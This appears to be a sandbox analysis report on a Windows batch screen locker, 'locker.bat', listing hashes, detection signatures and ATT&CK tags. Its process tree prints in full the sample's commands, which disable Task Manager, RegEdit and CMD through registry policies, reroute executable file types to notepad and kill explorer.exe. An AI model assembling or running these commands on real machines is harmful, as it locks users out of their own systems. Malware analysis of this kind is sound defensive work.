af0e11e151f29b0f944e798aa39b6bd6d2fd11e3d637acb3c89a3989c85b2225

Analysis

max time kernel
148s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
14/10/2026, 13:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
locker.bat
Size 11KB
Sample261014-q17apsgd92
SHA256 af0e11e151f29b0f944e798aa39b6bd6d2fd11e3d637acb3c89a3989c85b2225
MD5 9b0f59a8625798ccf1b73cf1561a4943
SHA1 6faf0c012e32c793b9071db922a9f707993de0f7
SHA512 8df2ef0b890995baaecd5a6dd09ee345ef9a0ae0b6a8b2aab342c858aad8d2e234736100f61479e43cafc41c539e77fd3018a2e24fab6cff90e49accb9efc53e
SSDEEP 192:usLqkGZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZs7rqoKf6xq:vWMU
TLSH
T1EB329D9A3E075261E1617AF0010614C39F16A3A73A549BF5BA9E6839331F7C0E3F72D6
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution

Malware Config

Signatures

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Disables Task Manager via registry modification
defense_evasion

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4640	powershell.exe
4100	powershell.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3368	cmd.exe

Kills process with taskkill 4 IoCs

defense_evasion

pid	Process
4560	taskkill.exe
1800	taskkill.exe
5308	taskkill.exe
5096	taskkill.exe

Modifies registry key 1 TTPs 23 IoCs

Modify Registry

T1112

pid	Process
5800	reg.exe
1728	reg.exe
2532	reg.exe
2548	reg.exe
4824	reg.exe
2832	reg.exe
5720	reg.exe
3932	reg.exe
5816	reg.exe
2676	reg.exe
1544	reg.exe
1500	reg.exe
4312	reg.exe
1412	reg.exe
4192	reg.exe
4592	reg.exe
4076	reg.exe
3384	reg.exe
2120	reg.exe
3396	reg.exe
3152	reg.exe
5808	reg.exe
5256	reg.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4100	powershell.exe
4100	powershell.exe
4640	powershell.exe
4640	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	4100	powershell.exe
Token: SeDebugPrivilege	4640	powershell.exe
Token: SeDebugPrivilege	5308	taskkill.exe
Token: SeDebugPrivilege	5096	taskkill.exe
Token: SeDebugPrivilege	4560	taskkill.exe
Token: SeDebugPrivilege	1800	taskkill.exe

Suspicious use of WriteProcessMemory 33 IoCs

description	pid	Process	procid_target
PID 3368 wrote to memory of 4100	3368	cmd.exe	90
PID 3368 wrote to memory of 4640	3368	cmd.exe	91
PID 3368 wrote to memory of 756	3368	cmd.exe	92
PID 3368 wrote to memory of 5720	3368	cmd.exe	93
PID 3368 wrote to memory of 5256	3368	cmd.exe	94
PID 3368 wrote to memory of 4192	3368	cmd.exe	95
PID 3368 wrote to memory of 5800	3368	cmd.exe	96
PID 3368 wrote to memory of 4592	3368	cmd.exe	97
PID 3368 wrote to memory of 4076	3368	cmd.exe	98
PID 3368 wrote to memory of 3932	3368	cmd.exe	99
PID 3368 wrote to memory of 1728	3368	cmd.exe	100
PID 3368 wrote to memory of 2676	3368	cmd.exe	101
PID 3368 wrote to memory of 2532	3368	cmd.exe	102
PID 3368 wrote to memory of 3384	3368	cmd.exe	103
PID 3368 wrote to memory of 1544	3368	cmd.exe	104
PID 3368 wrote to memory of 1500	3368	cmd.exe	105
PID 3368 wrote to memory of 4312	3368	cmd.exe	106
PID 3368 wrote to memory of 2120	3368	cmd.exe	107
PID 3368 wrote to memory of 3396	3368	cmd.exe	108
PID 3368 wrote to memory of 2548	3368	cmd.exe	109
PID 3368 wrote to memory of 4824	3368	cmd.exe	110
PID 3368 wrote to memory of 3152	3368	cmd.exe	111
PID 3368 wrote to memory of 5808	3368	cmd.exe	112
PID 3368 wrote to memory of 5816	3368	cmd.exe	113
PID 3368 wrote to memory of 1412	3368	cmd.exe	114
PID 3368 wrote to memory of 2832	3368	cmd.exe	115
PID 3368 wrote to memory of 4752	3368	cmd.exe	116
PID 3368 wrote to memory of 3688	3368	cmd.exe	117
PID 3368 wrote to memory of 3788	3368	cmd.exe	118
PID 3368 wrote to memory of 5308	3368	cmd.exe	119
PID 3368 wrote to memory of 5096	3368	cmd.exe	121
PID 3368 wrote to memory of 4560	3368	cmd.exe	122
PID 3368 wrote to memory of 1800	3368	cmd.exe	123

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\locker.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3368
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -windowstyle maximized -command "&{[Console]::WindowWidth=300;[Console]::WindowHeight=300}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "$w=New-Object -ComObject Wscript.Shell;$w.SendKeys('{F11}')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4640
- C:\Windows\system32\mode.com
  mode con: cols=300 lines=300
  2⤵
  PID:756
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v DisallowRun /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:5720
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:5256
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFind /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:4192
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:5800
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoTaskbar /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:4592
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoTrayContextMenu /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:4076
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWinKeys /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:3932
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:1728
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:2676
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
  2⤵
  - Disables RegEdit via registry modification
  - Modifies registry key
  PID:2532
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableCMD /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:3384
- C:\Windows\system32\reg.exe
  reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:1544
- C:\Windows\system32\reg.exe
  reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:1500
- C:\Windows\system32\reg.exe
  reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v DisableCMD /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:4312
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Associations /v ModRiskFileTypes /t REG_SZ /d ".exe;.bat;.cmd;.com;.scr;.vbs;.ps1;.msi" /f
  2⤵
  - Modifies registry key
  PID:2120
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Associations /v DefaultFileTypeRisk /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:3396
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.exe /v Application /t REG_SZ /d "notepad.exe" /f
  2⤵
  - Modifies registry key
  PID:2548
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.bat /v Application /t REG_SZ /d "notepad.exe" /f
  2⤵
  - Modifies registry key
  PID:4824
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.cmd /v Application /t REG_SZ /d "notepad.exe" /f
  2⤵
  - Modifies registry key
  PID:3152
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.com /v Application /t REG_SZ /d "notepad.exe" /f
  2⤵
  - Modifies registry key
  PID:5808
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.scr /v Application /t REG_SZ /d "notepad.exe" /f
  2⤵
  - Modifies registry key
  PID:5816
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.vbs /v Application /t REG_SZ /d "notepad.exe" /f
  2⤵
  - Modifies registry key
  PID:1412
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.ps1 /v Application /t REG_SZ /d "notepad.exe" /f
  2⤵
  - Modifies registry key
  PID:2832
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v DisallowCpl /t REG_DWORD /d 1 /f
  2⤵
  PID:4752
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
  2⤵
  PID:3688
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFolderOptions /t REG_DWORD /d 1 /f
  2⤵
  PID:3788
- C:\Windows\system32\taskkill.exe
  taskkill /f /im explorer.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5308
- C:\Windows\system32\taskkill.exe
  taskkill /f /im taskmgr.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5096
- C:\Windows\system32\taskkill.exe
  taskkill /f /im regedit.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4560
- C:\Windows\system32\taskkill.exe
  taskkill /f /im cmd.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1800

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 952B
SHA256 1321a719825d2d8d2d9135e551e460635bdfeb75be0927c3df7bfb87c450b575
MD5 7e77eb6f40342772dc4bcf96f554af0f
SHA1 744fbbf1d38f6c69236842d3cc06e4136a197df7
SHA512 a839aed2c316ecda5423bb46e63af0b83cadf6af07467a765d2bf7ae99e458280535dbdc380b053d6c6c5c3452ff26c2e4f6946045530e0e3ee169643e78c212
TLSH
T1F7116633F3CC8624DC59403650CEAD1137B687CB40DEDE6B7B84D155B82F689DE60260
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_bscqi4b0.3is.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bscqi4b0.3is.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4100-3-0x00000259D8F60000-0x00000259D8F82000-memory.dmp

Download

memory/4100-4-0x00007FFA55D80000-0x00007FFA56724000-memory.dmp

Download

memory/4100-5-0x00007FFA55D80000-0x00007FFA56724000-memory.dmp

Download

memory/4100-6-0x00007FFA55D80000-0x00007FFA56724000-memory.dmp

Download

memory/4100-7-0x00007FFA55D80000-0x00007FFA56724000-memory.dmp

Download

memory/4100-8-0x00007FFA55D80000-0x00007FFA56724000-memory.dmp

Download

memory/4100-9-0x00007FFA55D80000-0x00007FFA56724000-memory.dmp

Download

memory/4100-12-0x00007FFA55D80000-0x00007FFA56724000-memory.dmp

Download

memory/4100-11-0x00007FFA55D80000-0x00007FFA56724000-memory.dmp

Download

memory/4100-0-0x00007FFA55F0F000-0x00007FFA55F10000-memory.dmp

Download

memory/4640-13-0x00007FFA55D80000-0x00007FFA56724000-memory.dmp

Download

memory/4640-17-0x00007FFA55D80000-0x00007FFA56724000-memory.dmp

Download

memory/4640-18-0x00007FFA55D80000-0x00007FFA56724000-memory.dmp

Download

memory/4640-19-0x00007FFA55D80000-0x00007FFA56724000-memory.dmp

Download

memory/4640-20-0x00007FFA55D80000-0x00007FFA56724000-memory.dmp

Download

memory/4640-21-0x00007FFA55D80000-0x00007FFA56724000-memory.dmp

Download

memory/4640-24-0x00007FFA55D80000-0x00007FFA56724000-memory.dmp

Download

memory/4640-23-0x00007FFA55D80000-0x00007FFA56724000-memory.dmp

Download